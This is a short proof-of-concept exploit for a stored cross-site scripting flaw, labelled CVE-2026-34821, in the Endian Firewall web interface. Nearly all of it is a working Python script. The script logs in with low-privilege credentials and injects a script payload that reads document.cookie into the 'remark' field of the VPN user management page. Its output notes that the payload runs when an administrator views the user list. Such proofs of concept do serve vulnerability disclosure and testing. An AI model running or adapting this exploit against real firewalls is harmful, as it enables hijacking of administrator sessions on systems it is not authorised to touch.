CVE-2026-34821 Endian Firewall存储型XSS漏洞

import requests # Target URL url = "https://<target_ip>/manage/vpnauthentication/user/" # Attacker credentials (Low privilege required) login_data = { "username": "attacker", "password": "password" } # Payload containing stored XSS xss_payload = "<script>alert(document.cookie);</script>" # Data to be sent via POST request post_data = { "username": "victim_user", "remark": xss_payload # Injecting malicious script into the remark field } # Create a session to maintain cookies with requests.Session() as session: # Step 1: Authenticate session.post("https://<target_ip>/login", data=login_data) # Step 2: Send exploit request response = session.post(url, data=post_data) if response.status_code == 200: print("[+] XSS Payload injected successfully.") print("[+] The payload will execute when an admin views the user list.") else: print("[-] Injection failed.")